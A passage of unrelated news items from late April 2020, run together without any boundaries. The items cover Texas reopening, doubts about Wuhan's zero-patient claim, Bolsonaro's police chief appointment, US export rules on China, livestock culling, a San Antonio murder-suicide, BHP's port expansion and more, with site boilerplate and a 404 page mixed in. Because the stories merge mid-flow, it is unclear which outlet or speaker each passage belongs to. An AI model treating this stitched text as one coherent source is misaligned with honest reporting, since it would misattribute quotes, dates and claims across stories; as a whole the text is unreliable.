able to contain this virus. While local health officials continue to see a decline in use of ventilators, beds and other hospital resources in the past week, theres still a lack of adequate testing data, Nirenberg. He said the governors restart plan in place is more methodical than in Georgia and other states, but its somewhat lacking in public health guidance. While we see our data trending well, we dont see enough data, Nirenberg said, warning of a possible rise in infections amid a rebound in local business and community activities. Hope it works Still, the mayor said, local leaders need to work with what they have. I hope it works. I think its a risk that were taking without the proper gating criteria being met. But our work right now as city and county leaders is to make sure that the public has all the facts, the data, and has the proper guidance to continue to implement social distancing measures, regardless of whether theyre mandated to do so, Nirenberg said. On ExpressNews.com: Leaders name panel to help city, county get back on its feet post-coronavirus An economic transition team appointed by Nirenberg and Bexar County Judge Nelson Wolff will help develop expectations and standards for businesses that will help support the local economy while addressing health concerns. Some businesses will likely not open even if theyre allowed to under the governors first phase, which limits customer occupancy to 25 percent of capacity, the mayor predicted. I think theres going to be a lot of self-regulation, he said. I think youre going see some businesses choose, because of that, not to open right now, which is probably a prudent thing for them to consider. But then ultimately, were going to have to be very serious about enforcement, because this becomes one of our main methods of keeping our community safe from further spread of the disease. In regard to upcoming elections, Nirenberg was asked about a lawsuit Texas Democrats have pending that seeks to make voting by mail more accessible during the pandemic. The mayor said he supports universal mail-in balloting in Texas as a means of protecting voting rights and public health. Anything short of that is voter suppression, he said. Looks like you typed in the wrong url. To visit the SiliconIndia Home page click here To view the SiliconIndia blogs page click here What is SiliconIndia? SiliconIndia is one of the largest content and community networks for Indian professionals, entrepreneurs and students worldwide. Since 1997, we have inspired successes for Indian professionals through our thought provoking SiliconIndia career events and magazines. Now, through the addition of the online professional network, we combine the power of news, magazine and events, with an online network that can exclusively help you develop deep professional and social relationships with the SiliconIndia member community. Some of the member benefits are: Your own trusted network, discussion groups, Messages and the Lounge to interact with and expand your professional and social network. Write on what you are passionate about and publish to the entire internet using our professional Blogs. Special web seminars and career events on topics of interest exclusive to SiliconIndia network members. Oportunities to get personalized one on one advice from experienced professionals for career growth, entrepreneurship and higher education through our unique mentorship program. Mentors are invited from within the SiliconIndia network. The opportunity to contribute to our leading magazine, online news and events, to help enhance your professional profile in the growing SiliconIndia community. Tata Motors Ltd on Tuesday announced that its board will meet on 5 May to consider raising fund up to Rs1,000 crore through non convertible debentures. "We would like to inform you that the Company is desirous of offering Rated, Listed, Unsecured, Redeemable, Non-Convertible Debentures aggregating Rs1,000 crores in three tranches and in this regard is holding a meeting of its duly constituted Committee of the Board on May 5, 2020," the company said in a notice to exchanges. Earlier this month, S&P Global Ratings had downgraded Tata Motors senior unsecured notes from B+ to B on weakening credit metrics because of the economic impact of the coronavirus. Indias automakers are staring at an uncertain future, unsure when they would be able to reopen their factories closed for nearly a month due outbreak of covid-19. Subscribe to Mint Newsletters * Enter a valid email * Thank you for subscribing to our newsletter. Never miss a story! Stay connected and informed with Mint. Download our App Now!! Topics Wuhan Residents Skeptical of Claim City Has Zero Hospitalized COVID-19 Patients By Joyce Huang April 27, 2020 Chinese officials said there are no coronavirus patients in hospitals across Hubei province, whose capital, Wuhan, was the epicenter of the global pandemic. Many residents and netizens from elsewhere, however, remain skeptical of the government's claim about Wuhan. "Given the problem of information asymmetry we face, my gut feeling tells me that this zero-patient report is merely a political show after the authorities announced earlier that no treatment was necessary for recovered patients testing positive," a Wuhan resident told VOA on Monday via a social messaging app. The resident asked to be identified only as "Mr. Yang" for safety reasons. A political show? China puts on the political show because "the harm from shutting down the factories has caused a worse impact on the ruling regime than that from the virus itself," Yang added. Yang was referring to comments made by Jian Yahui, an official with China's National Health Commission. Jian on Friday said that the number of patients in Wuhan then stood at 47, more than 30 of whom had shown no symptoms but continued to test positive in nucleic acid tests. These patients no longer need treatment, Jian said, according to a report in China's state-run Global Times newspaper. The report then cited Yang Zhanqiu, deputy director of the Pathogen Biology Department at the Wuhan University, saying that these patients wouldn't be allowed to leave the hospital until two successive negative test results are obtained a national discharge standard to ease public concerns. But on Monday, health authorities in Wuhan and Hubei both claimed to have zero coronavirus patients. Official statistics showed that, as of Sunday, the province had a total of 68,128 patients, 4,512 of whom died from the disease while the remaining patients were discharged. Among them were 3,869 from Wuhan who succumbed to the infection. The city claimed to have zero severe patients on Friday and that the last of its 46,464 patients left the hospital on Saturday. That triggered public concerns about those recovered patients who continued to test positive and whether they were infectious. On Weibo, China's Twitter-like microblogging site, the majority of netizens heralded both the city's achievements in treating COVID-19 patients and China's claim of success in combating the virus. Wuhan residents skeptical While some Wuhan residents have voiced skepticism, others have raised concerns about whether asymptomatic patients and recovered patients who test positive can spread the virus. One user from Tibet wrote, "Please don't play word game" and another from Shanghai said, "So soon?... Please reconfirm these figures. Don't kick these patients out of the hospital just to show how good we are." One user from Wuhan said that, in his neighborhood, one recovered patient tested positive again recently while another said that he was ordered to work from home after two people from his neighborhood tested positive on Sunday. Some netizens outside of Wuhan also voiced doubts. "Am I the only one who feels there is a coverup?" one user wrote. Another said, "There's no patient if the government says so. The disease is preventable and controllable if the government said there is no human-to-human transmission." Reports on the ground also ran contrary to the official figures. A patient's daughter surnamed Ho told U.S.-based The Epoch Times on Sunday that her family has been denied access to her ailing father, who remains in the hospital's intensive care unit. She said that the family was told about her father's negative test results although no written test results were given to the family. Her father remains in an isolation ward for pneumonia-like symptoms. She also complained about the huge medical bill the hospital has asked the family to pay. Citizen journalist Zhang Zhan is from Shanghai and has been reporting from Wuhan since February 1. Zhang says she suspects the city's claim to have zero hospitalized coronavirus patients is false. "I came cross a patient, who has tested negative nine times. But he keeps having a fever and his lungs continue to suffer from an inflammatory condition, according to his CT scan. What do you say about this? This zero-patient claim must be fake," she said. Police coercion Meanwhile, a U.S.-based health rights campaigner says seven families who had loved ones die of COVID-19 had planned to file a lawsuit against the Wuhan government over its handling of the health crisis; but, Yang Zhanqing says two of the families called off their decision to pursue the legal action after local police's repeated harassment and coercion. Yang Zhanqing is a co-founder of China's Chang Sha Funeng non-profit organization. Yang has been working with the Wuhan families since early March, attempting to file a class action lawsuit against the local government. "Most victims have had no experience in upholding their [health] rights. They were not prepared or aware that the authorities would resort to gangster-like and cruel tactics to pressure them into giving up. So, when that happened, they got terribly frightened and just gave up like that in a very short span of time," Yang, who currently lives in the United States, told VOA over the phone. The campaigner pledged to continue his fight for the remaining five families, which will now each file a lawsuit against the Wuhan government since a class action lawsuit in China requires at least a group of nine plaintiffs. Justice will prevail only when the rights of these families are upheld with compensation made so the city government is held accountable, Yang said. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address My Son Sanctuary in Quang Nam province (Photo: internet) The management board of the My Son Cultural Site in central Quang Nam province has announced that the site will welcome visitors from April 28, but tourists are requested to wear face masks and keeping a safe distance apart from each other. The site was temporarily closed for visitors since March 16 due to fear of COVID-19 spread, Nhan dan reported. The Khanh Hoa provincial Tourism Department said that it has developed scenarios targeting the domestic market this summer, with a focus on holidaymakers from Hanoi and Ho Chi Minh City. Popular tourist attractions in Nha Trang city will reopen soon, it said. In the same move, the Kien Giang provincial Tourism Department has issued a document allowing travel agents and local places of interests to serve customers; however, only Vietnamese tourists and foreigners residing in Vietnam are allowed. Meanwhile in Hanoi, the hop on hop off city tour is scheduled to resume operation for Vietnamese customers only during the April 30-May Day holidays, according to Nguyen Viet Hung, deputy director of the Hanoi Transportation Corporations Yen Vien Bus Company which operates the tour, according to the newspaper. The Thang Long Imperial Citadel in Hanoi is also planning to reopen on the occasion. On April 29, the site will launch a virtual tour to its Building D67 and D67 Bunker, which served as the headquarters of Vietnamese Peoples Army during the 1968-1975 period. The site will also offer a virtual exhibition of 120 documents, photos and objects recounting the General Offensive and Spring Uprising of 1975. The exhibition will run until May 31. SAGINAW, MI An ex-convict is charged with seven felonies after police allege he tried to rob a gas station in rural Saginaw County. About 7:40 p.m. on April 18, a masked man entered Good Times Market at 9538 East Road in Albee Township. He displayed a large knife and demanded money, police said. Despite the disguise, the man was recognized by employees as 40-year-old Clement F. Fuller Jr., a frequent customer of the store, said Michigan State Police Special 1st Lt. David Kaiser. Fuller held the knife up to the chest of a female clerk and poked her with the blade several times in her chest and back, Kaiser said. The clerk, however, did not give in to the would-be robbers demands. He became frustrated when the clerk still refused to give him money, Kaiser said. The suspect fled the store without having obtained any cash or other items. Troopers went to a house in the 2100 block of West Sloan Road where Fuller resides with relatives. As troopers knocked on the front door, Fuller fled out the back, Kaiser said. Troopers chased after Fuller, yelling commands for him to stop. They pursued him to a residence in the 9300 block of East Road, where Fuller entered a large RV and barricaded himself inside, Kaiser said. The RVs owner gave troopers permission to enter. Troopers walked into the RV, only for Fuller to approach them with the knife, Kaiser said. Troopers deployed a Taser at Fuller, though the device was ineffective due to a heavy jacket Fuller was wearing, the lieutenant said. Troopers eventually took Fuller to the ground and arrested him. Fuller told police he had been with his girlfriend earlier in the day and had not visited Good Times Market, Kaiser said. Fuller on April 22 appeared in Saginaw County District Court for arraignment on single counts of armed robbery, felonious assault, second-degree home invasion, and lying to a peace officer, plus three counts of assaulting, resisting, or obstructing police. The most serious offense is armed robbery, being punishable by up to life in prison. The arraigning judge set Fullers bond at $30,000 cash-surety. As of April 28, Fuller remains in the Saginaw County Jail. Fuller has been incarcerated in both Michigan and federal prisons. Fuller in November 2010 arrived in the Michigan Department of Corrections on convictions of home invasion and assaulting, resisting, or obstructing police. The MDOC in July 2014 paroled Fuller to the Federal Bureau of Prisons, as a federal judge in 2012 sentenced Fuller to 100 months on a conviction of possessing a stolen firearm. The federal and state sentences were concurrent. Fullers next court date is pending. UPL rose 3.89% to Rs 362.50 after the company said it completed the acquisition of Yoloo (Laoting) Bio-technology Co, which was announced on 14 November 2019. UPL after market hours on Monday (27 April) confirmed the completion of acquisition of Yoloo (Laoting) Bio-technology Co. ('Laoting Yoloo'), that was announced on 14 November 2019, post all customary and regulatory approvals and the transaction is closed. In November 2019, UPL, through its step-down overseas subsidiary, entered into definitive agreements to acquire 100% shares of Laoting Yoloo, an agrochemical company based in Heibei Province, China, from Beijing Yoloo Bio-Technology Corp., ('Beijing Yoloo'). In the subsidiary, UPL will own 75% stake and Beijing Yoloo will hold 25% stake. Laoting Yoloo is engaged in the business of manufacturing, distribution and commercialization of crop protection products in China. China is one of the major crop protection chemical market and with this acquisition UPL will strengthen its access in China market. UPL will build on the relationships that Laoting Yoloo has cultivated by serving their existing customers with the wider portfolio of UPL products. With this acquisition, UPL will also have a formulation facility in China. On the technical front, the stock's RSI (relative strength index) stood at 50.233. The RSI oscillates between zero and 100. Traditionally, the RSI is considered overbought when above 70 and oversold when below 30. The stock was trading between its 20-day moving average (DMA) and 50-day moving average (DMA) placed at Rs 334.39 and Rs 421.03 respectively. UPL manufactures and markets agrochemicals, industrial chemicals, chemical intermediates, and specialty chemicals, and also offers crop protection solutions. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Bolsonaro taps family friend as Brazil top cop, Supreme Court OKs probe FILE PHOTO: Brazil's President Jair Bolsonaro greets Alexandre Ramagem during his inauguration ceremony as the new general director of the Brazilian Intelligence Agency (ABIN) in Brasilia By Ricardo Brito and Lisandra Paraguassu BRASILIA (Reuters) - Brazilian President Jair Bolsonaro on Tuesday named a family friend to head the federal police, days after his justice minister quit and accused the president of meddling in law enforcement for political motives. The controversy over the appointment and allegations by outgoing minister Sergio Moro of improper interference in the police force triggered talk of impeachment and a criminal investigation approved by the Supreme Court, distracting from the coronavirus epidemic that has killed 5,017 people in Brazil, hundreds more than in China. The government's official gazette confirmed the appointment of new federal police chief Alexandre Ramagem, 48, who took charge of the president's security after he was stabbed on the campaign trail in 2018. The selection comes amid investigations of alleged wrongdoing by Bolsonaro's sons. Ramagem, who joined the federal police in 2005, has the fewest years of service of any officer tapped to lead the force. He has run the Brazilian Intelligence Agency since July. On Friday, Justice Minister Sergio Moro alleged in a stunning televised address that Bolsonaro had repeatedly said he wanted a "personal contact" in the top police job "from whom he could get information, intelligence reports." Brazil's Supreme Court on Monday gave the green light for the top public prosecutor to investigate the allegations against Bolsonaro of interfering in law enforcement. Justice Celso de Mello gave the federal police 60 days to carry out the investigation requested by Brazil's chief public prosecutor Augusto Aras. Based on the results of the police investigation, the public prosecutor will decide whether to press charges against the president. An indictment would have to be approved by the lower house. The biggest political storm since Bolsonaro took office last year came in the midst of Brazil's worst public health crisis. The Health Ministry reported that a record 474 people died from COVID-19 in the last 24 hours, bringing the death toll to 5,017. Confirmed cases have risen at 5,000 a day in the last 48 hours, to 71,866. Story continues "So what? I'm sorry, but what do you want me to do?" Bolsonaro told reporters when asked about the record deaths. He vowed to allow the federal police under the command of its new chief to have full autonomy from the government. But his critics won't let it pass. Earlier on Tuesday, the opposition Democratic Labor Party asked the Supreme Court to block Ramagem's nomination, alleging an abuse of power. The affair has sparked talk in Congress of impeachment, just four years after such proceedings toppled former President Dilma Rousseff. However, a poll by Datafolha published on Monday evening showed Brazilians divided on impeachment, with 45% supporting the move and 48% against. Crucially, Bolsonaro appears to be keeping core supporters, the poll showed, with 33% of those surveyed saying they thought he was doing a good or excellent job. POLITICAL INTERFERENCE Still, the accusations from the popular "super minister" Moro, who locked up scores of powerful politicians and businessmen as a judge, has dented Bolsonaro's corruption-fighting image, which was central to his 2018 campaign. Moro said he had never seen political interference of the kind sought by Bolsonaro over Brazil's federal police, even under previous governments whose officials and allies were convicted of participating in sweeping corruption schemes. A New Year's party photo on social media of Ramagem grinning beside the president's son Carlos Bolsonaro, a Rio de Janeiro city councilman, circulated widely on Tuesday, emphasising the close ties between the family and the new top cop. Carlos Bolsonaro is the subject of a Supreme Court probe looking at his role in disseminating "fake news," according to newspaper Folha de S.Paulo. His brother, lawmaker Eduardo Bolsonaro, was accused in a congressional investigation of participating in a "fake news" scheme. Their eldest brother, Senator Flavio Bolsonaro, is also being investigated by state prosecutors in Rio de Janeiro over alleged money laundering and misuse of public funds. All three have denied any wrongdoing. They and the president have decried the probes as politically motivated attacks. Over the weekend, Bolsonaro took to Facebook to defend Ramagem, after word of his nomination leaked to the press. "So what? I knew Ramagem before he knew my children. Should he be vetoed for that reason? Whose friend should I pick?" the president said in a post. ($1 = 5.6526 reais) (Reporting by Ricardo Brito, Lisandra Paraguassu and Anthony Boadle in Brasilia, Ana Mano and Eduardo Simoes in Sao Paulo; Writing by Stephen Eisenhammer; Editing by Brad Haynes and Alistair Bell) Share this article Whatsapp Facebook Twitter Linkedin Tri Indah Oktavianti (The Jakarta Post) Jakarta Tue, April 28, 2020 18:00 624 fc6853813033f564188675f8bd4c5007 1 Business COVID-19,coronavirus,virus-corona,virus-korona-indonesia,Grab,GrabWheels,electric-scooter,medical-workers,emergency-hospital,kemayoran-athletes-village Free Online ride-hailing platform Grab Indonesia is providing free GrabWheels electric scooters for medical personnel treating COVID-19 patients at the emergency hospital in the former athletes village in Kemayoran, Central Jakarta. The company will provide 100 scooters under a partnership program with the State-Owned Enterprises (SOE) Ministry to ease medical workers navigating the four apartment towers used as the COVID-19 treatment center. Grab will provide four GrabWheels stations in each tower, which will be attended by an operator 24 hours a day tasked with providing information to users and maintenance for the scooters. In addition, the scooters will be disinfected every two hours. The operator will also provide hand sanitizers for users. Read also: Start-ups, NGOs team up to help people affected by COVID-19 SOEs Minister Erick Thohir lauded the partnership. Its a good thing to help each other during this hard time. This shows that aid doesnt always take the form of money and goods, but also technology, the minister said in a statement on Monday. The government has converted four of the 10 athletes village towers into an emergency hospital focused on treating COVID-19 patients since March 23. President Joko Widodo said the facility would have the capacity for 3,000 patients. According to the national COVID-19 task force, 832 patients were hospitalized in the facility as of Monday, including 720 confirmed cases. A Florida construction worker called in a bomb threat to a water treatment facility to get a day off work, authorities said. Richard Hamilton, 36, was arrested Thursday and charged with making a bomb threat, the Palm Beach Post reported. More than 20 people evacuated Wellingtons water treatment plant shortly after the threatening 911 call around 7 a.m. Thursday, according to the Palm Beach County Sheriffs Office. Hamilton had been working with a construction crew at the facility and later told deputies that he made the threat because he was having a bad day and didnt want to work. The sheriffs bomb squad, a bomb dog and drones searched Hamiltons vehicle and the surrounding area and found no evidence of a bomb, the sheriffs office said. Wellingtons water service was not affected, village officials said. Hamilton was being held on $10,000 bond. Jail records didnt list an attorney. The President of the United States of America, Donald Trump, has promised to send ventilators to support Nigeria in its fight against the COVID-19 pandemic, the information minister, Lai Mohammed, has disclosed. He said Mr Trump also assured that the United States stands in solidarity with Nigeria in this difficult time. Speaking at the daily Presidential Task Force (PTF) briefing on COVID-19 on Tuesday, Mr Mohammed said Mr Trump made these promises on Tuesday in a phone conversation with President Muhammadu Buhari. The phone conversation which was said to be at the request of President Trump centred on Nigerias response to the COVID-19 pandemic. President Buhari used the opportunity to brief the American President on the steps that Nigeria is taking to contain the spread of the disease. President Trump also extends his best regards to the people of Nigeria, the minister said. Need for ventilators Since the outbreak of the coronavirus pandemic, there has been a global rush for ventilators. The coronavirus pathogen particularly affects the respiratory organs, thus the need for ventilators to treat the critically sick. The Nigerian government had earlier begged the founder of the electronic automobile company, Tesla Inc., Elon Musk, for ventilators. The plea was made through the official handle of the Ministry of Finance, Budget and National Planning in response to Mr Musks tweet to supply ventilators to hospitals worldwide. The tweet was later deleted following backlash from Nigerians on social media. With the rising number of confirmed cases in Nigeria, the country has barely 100 functional ventilators. The Delhi government on Tuesday launched a dedicated website to provide information on all the COVID-19 related initiatives and updates in a seamless manner. The website -- delhifightscorona.in -- has five broad sections which include containment zones, testing facilities, key locations, e-pass, press release and FAQs. The website has the locations of all the containment zones or the COVID-19 hotspots in Delhi. The locations are updated from time to time as decided by the government, a statement said. It also lists all COVID-19 Testing Centers (CTCs) set up by the Delhi government, private centres, as well as information on how to avail COVID-19 testing. A list and location of all ration shops in Delhi, temporary relief centres and hunger relief centres is also available on the website. In the "e-pass section", any person can apply for travel e-pass or e-coupon for ration through this website. The website also updates important data related to COVID-19 in Delhi, including the number of total cases, number of new cases reported on a day, number of recovered patients and the number of deaths reported on a day. Another section contains testing statistics including the number of tests done in Delhi to detect COVID-19 on a particular day, total number of negative cases, number of tests where results are pending and tests per million. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The U.S. flag flies over shipping cranes and containers in Long Beach, Calif., on March 4, 2019. (Mark Ralston/AFP via Getty Images) US Imposes New Export Rules to China The United States stated on April 28 it will impose new restrictions on exports to China to keep semiconductor production equipment and other technology away from Beijings military. The new rules will require licenses for U.S. companies to sell certain items to companies in China that support the military, even if the products are for civilian use. They also do away with a civilian exception that allows certain U.S. technology to be exported without a license. They come as relations between the United States and China have deteriorated amid the new CCP (Chinese Communist Party) virus outbreak. The rules, which were published in the Federal Register on April 28, could hurt the semiconductor industry and sales of civil aviation parts and components to China. Chinese military march in the street in Beijing, China on April 22, 2020. (Kevin Frayer/Getty Images) The changes, which also expand the universe of items requiring licenses, affect Russia and Venezuela, too, but the biggest impact will be on trade with China. It is important to consider the ramifications of doing business with countries that have histories of diverting goods purchased from U.S. companies for military applications, Commerce Secretary Wilbur Ross said in a statement. Washington trade lawyer Kevin Wolf said the rule changes for China are in response to its policy of military-civil fusion: finding military applications for civilian items. He said the regulatory definitions of military use and user are broad and go beyond purchases by entities such as the Peoples Liberation Army. For example, Wolf said, if a car company in China repairs a military vehicle, that car company may now be a military end-user, even if the item being exported is for another part of the business. Police officers wearing face masks patrol at a container port in Qingdao in eastern Chinas Shandong Province, China on Feb. 19, 2020. (Chinatopix/AP) A military end-user is not limited to military organizations, Wolf said. A military end-user is also a civilian company whose actions are intended to support the operation of a military item. The rule change also requires that U.S. companies file declarations for all exports to China, Russia, and Venezuela regardless of value. Obviously this is intended to give the U.S. government more visibility into the types of goods U.S. exporters send to these countries and their customers, said Washington trade lawyer Doug Jacobson. Another rule change involves eliminating civilian license exceptions for Chinese importers and Chinese nationals, as well as other countries, including Ukraine and Russia. The exceptions have applied to certain integrated circuits, telecommunications equipment, radar, high-end computers, and other items. The administration also posted a third proposed rule change that would force foreign companies shipping certain American goods to China to seek approval not only from their own governments but from the United States as well. The Commerce Department does not know the economic impact of imposing the re-export license, and will allow a comment period to gather information on the proposed change, a representative said. Republican Sen. Ben Sasse supported the new rules, saying Chinese leader Xi Jinping has erased any daylight between Chinas businesses and the Communist Partys military. The tightened restrictions have been in the works since at least 2019, but senior U.S. officials agreed to move ahead with them in late March, as Reuters reported earlier this month. John Neuffer, president and chief executive of the Semiconductor Industry Association, said the industry was concerned the broad rules will unnecessarily expand export controls for semiconductors and create further uncertainty for our industry during this time of unprecedented global economic turmoil. By Karen Freifeld Epoch Times staff contributed to this report. Hog farmer Mike Patterson's animals, who have been put on a diet so they take longer to fatten up due to the supply chain disruptions caused by coronavirus outbreaks, at his property in Kenyon, Minnesota, U.S. April 23, 2020. With the pandemic hobbling the meat-packing industry, Iowa farmer Al Van Beek had nowhere to ship his full-grown pigs to make room for the 7,500 piglets he expected from his breeding operation. The crisis forced a decision that still troubles him: He ordered his employees to give injections to the pregnant sows, one by one, that would cause them to abort their baby pigs. Van Beek and other farmers say they have no choice but to cull livestock as they run short on space to house their animals or money to feed them, or both. The world's biggest meat companies - including Smithfield Foods, Cargill, JBS USA and Tyson Foods - have halted operations at about 20 slaughterhouses and processing plants in North America since April as workers fall ill, stoking global fears of a meat shortage. Van Beek's piglets are victims of a sprawling food-industry crisis that began with the mass closure of restaurants - upending that sector's supply chain, overwhelming storage and forcing farmers and processors to destroy everything from milk to salad greens to animals. Processors geared up to serve the food-service industry can't immediately switch to supplying grocery stores. Millions of pigs, chickens and cattle will be euthanized because of slaughterhouse closures, limiting supplies at grocers, said John Tyson, chairman of top U.S. meat supplier Tyson Foods. Pork has been hit especially hard, with daily production cut by about a third. Unlike cattle, which can be housed outside on pasture, U.S. hogs are fattened up for slaughter inside temperature-controlled buildings. If they are housed too long, they can get too big and injure themselves. The barns need to be emptied out by sending adult hogs to slaughter before the arrival of new piglets from sows that were impregnated just before the pandemic. "We have nowhere to go with the pigs," said Van Beek, who lamented the waste of so much meat. "What are we going to do?" In Minnesota, farmers Kerry and Barb Mergen felt their hearts pound when a crew from Daybreak Foods Inc arrived with carts and tanks of carbon dioxide to euthanize their 61,000 egg-laying hens earlier this month. Daybreak Foods, based in Lake Mills, Wisconsin, supplies liquid eggs to restaurants and food-service companies. The company, which owns the birds, pays contract farmers like the Mergens to feed and care for them. Drivers normally load the eggs onto trucks and haul them to a plant in Big Lake, Minnesota, which uses them to make liquid eggs for restaurants and ready-to-serve dishes for food-service companies. But the plant's operator, Cargill Inc, said it idled the facility because the pandemic reduced demand. Daybreak Foods, which has about 14.5 million hens with contractor-run or company-owned farms in the Midwest, is trying to switch gears and ship eggs to grocery stores, said Chief Executive Officer William Rehm. But egg cartons are in shortage nationwide and the company now must grade each egg for size, he said. Rehm declined to say how much of the company's flock has been euthanized. "We're trying to balance our supply with our customers' needs, and still keep everyone safe - including all of our people and all our hens," Rehm said. 3 1 of 3 Rulison, Larry/Cushman Wakefield Pyramid Brokerage Co. Show More Show Less 2 of 3 Google Maps Show More Show Less 3 of 3 BALLSTON A Rochester real estate investment firm has acquired a former State Farm insurance call center in the town of Ballston off the Northway for $2 million. The Albany Business Review was the first to report the purchase by Flaum Management of Rochester. Flaum owns the Latham Farms and Queensbury Plaza retail centers. A North Side woman shot her two children and her mother before turning the gun on herself, according to the San Antonio Police Department. Chief William McManus said the woman had recently lost custody of her children shortly before the incident. Tragic beyond words, McManus said. Two little children, a grandmother, and a mother. On Monday morning, San Antonio police responded to a report of a dead person within the Sedona Ranch apartment complex, located at 17655 Henderson Pass. Inside one of the residences, officers found four bodies. FRIENDLY FIRE: Suspect accidentally shot himself after threatening ex-girlfriend McManus said police believe a woman, 38, shot her 5-year-old daughter, 3-year-old son, and 68-year-old mother. According to the father, she had lost custody of the children very, very, very recently and this was the terrible end result of that, McManus said. The father of the children, who had been trying to contact the woman, peered in through a crack in the blinds at the rear of the apartment. He saw the bodies, in two different bedrooms, and called the police. The estranged husband told police that the woman had no history of violence. McManus dismissed any link between the shootings and stress caused by the coronavirus quarantine. The chief noted that police have seen past instances of parents resorting to murder-suicide after losing custody of their children. Ed Gardner, who lives in the apartment complex, was on his morning walk around 9 a.m. when police cars flooded the complex. NEW SYMPTOMS: CDC identifies six new possible symptoms of COVID-19 Gardner did not know the family but said he had surely seen the boy and girl among the children at the complex playing outside during the lockdown. Its crazy that youre going to hurt your own kids," he said. "They looked up to you to protect them. Not kill them, and then your mother. Just crazy. Its just crazy." Police have yet to determine how long the bodies had been there. The Medical Examiners Office was investigating the scene. This is a developing story. Check back for updates. Leading childrens health experts say Australian parents should not panic over reports from Britain of some children developing severe inflammatory responses apparently linked to COVID-19. Britain's Paediatric Intensive Care Society asked doctors to be on the alert after an "apparent rise" in the number of children presenting to hospitals in a severe inflammatory state, with many of them also testing positive for COVID-19. Only 70 children have tested positive for coronavirus in NSW. Credit:Kate Geraghty Kristine Macartney, a paediatric infectious disease consultant at The Childrens Hospital at Westmead and professor of paediatrics at the University of Sydney, said the situation in the United Kingdom was different to Australia. "We still have very few cases in children, and very few that have been critically ill," she said. MELBOURNE, April 28 (Reuters) - Miner BHP Group said on Tuesday it plans to expand its iron ore export capacity from Port Hedland, the largest global shipping hub for the steel-making commodity, by up to 40 million tonnes a year to 330 million tonnes a year. The move comes as improvements across BHP's supply chain have opened the way to raise shipments if market conditions allow, Tim Day, BHP's Acting Asset President Western Australia Iron Ore, said in a statement. The company has begun community consultation, which could take four to six weeks, and would then apply to regulators for the added capacity in a process that is likely to take the rest of the year. Its focus in the medium term, however, remains on reaching its current capacity at the port of 290 million tonnes a year, Day said. BHP's iron ore exports last financial year totalled 238 million tonnes, around 85 percent of capacity. Forecast shipments this year stand at 273 - 286 million tonnes. "Any increase in our production has the potential to deliver flow-on benefits for local jobs, local business and additional royalty revenues for the state," Day said. BHP also said it planned to invest up to A$300 million ($194 million) more over five years to improve air quality and cut dust emissions across its Pilbara operations on top of A$400 million already spent. Dust emissions have been a major issue for global miners using the remote northern port, including Fortescue Metals and Gina Rinehart's Hancock Prospecting, where dust particles have sparked health concerns. New measures will include "wind fences" to reduce dust lift-off from stockpiles, planting more vegetation and setting up more dust control projects across the supply chain. Additional measures would include moisture management systems, ore conditioning and monitoring infrastructure, BHP General Manager Port, Nilson Davila, said in a statement. A Columbiana County farm equipment business is filling the gap between dairy farmers and those who need milk. The Lord has blessed us. Weve been able to stay open and in business, said Anthony VanPelt. I thought wed share some of that blessing. VanPelt is one of the owners of Progressive Dairy Systems, a dairy equipment supply and service company, in Columbiana, Ohio. Hed been hearing from his customers that some had been asked to dump milk, while others were asked to cut back production. That was putting some of my customers in a world of hurt, he said. I know its just a small gesture, but I thought Id try to do my little part. That little part was buying three skids of milk 576 gallons from Marburger Farm Dairy to donate to local food banks and food pantries and give away at his business. He got the idea from a story he read in Lancaster Farming about another agricultural businessman in south-central Pennsylvania ordering milk from a local processor to donate to food banks and give away to staff. Dairy in need VanPelt reached out to Marburger Farm Dairy, in Evans City, Pennsylvania, as many of his customers ship milk to them. Marburger Farm Dairy asked its farmers about 65 around the region to reduce production by 15% earlier in the month. Jim Marburger, president of the dairy, said theyve been dumping milk from their facility for at least two weeks now. They bottle their own milk and process other dairy products, and send milk to other processing plants. In addition to the immediate upheaval of losing food service customers, a cheese plant they supply shut down last week. That was like 12-14 loads a week we put in there, Marburger said. In addition to VanPelts bulk order, Marburger said they have seen a big increase in sales from their on-farm store. Every little bit helps. Weve got excess milk, no doubt about that, he said. With our farmers cutting back like they did, were not dumping as much as we thought we would be. Families in need Two skids of milk went to Second Harvest Food Bank of the Mahoning Valley, and smaller amounts are going to several community food pantries. Mike Iberis, executive director of Second Harvest Food Bank of the Mahoning Valley, said their food pantries in Columbiana, Mahoning and Trumbull counties went from serving 13,000 people weekly before the COVID-19 pandemic to about 18,000 a week. With many people unemployed due to the pandemic, the need for emergency food assistance has spiked. Its gladly accepted, Iberis said. What was leftover from the donations about 60 gallons was available over the weekend at the Progressive Dairy Systems store, in Columbiana, to anyone who needed it. Some people took milk and gave donations to help out. Since the need was so great, VanPelt is ordering three more skids this week from Marburger to keep getting milk from into the hands of those who need it and supporting dairy farmers. Its difficult for small farms to keep going, VanPelt said. I sure hope we can get through this. A dairy farm doesnt just tomorrow pick up where they left off. They have to build back up again for the loss. (Reporter Rachel Wagoner can be contacted at 800-837-3419 or rachel@farmanddairy.com.) Most mutual funds may fail to take advantage of the liquidity window provided by the Reserve Bank of India (RBI) as many credit risk schemes are low on top-rated papers - offloaded due to redemption pressure from the coronavirus pandemic, The Economic Times reported. To avail the Rs 50,000 crore liquidity window till May 11, set up for the mutual fund (MF) sector by the RBI, funds will be allowed to borrow against investment grade credit risk schemes. Industry officials, however, are concerned this may not be enough as banks may be unwilling to accept the majority of the low-rated securities as collateral, especially since the period of holding is short only till May 11, they told the paper. Follow our LIVE Updates on the coronavirus pandemic here RBIs liquidity window came after Franklin Templeton had closed six funds citing financial crunch due to the COVID-19 situation. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike 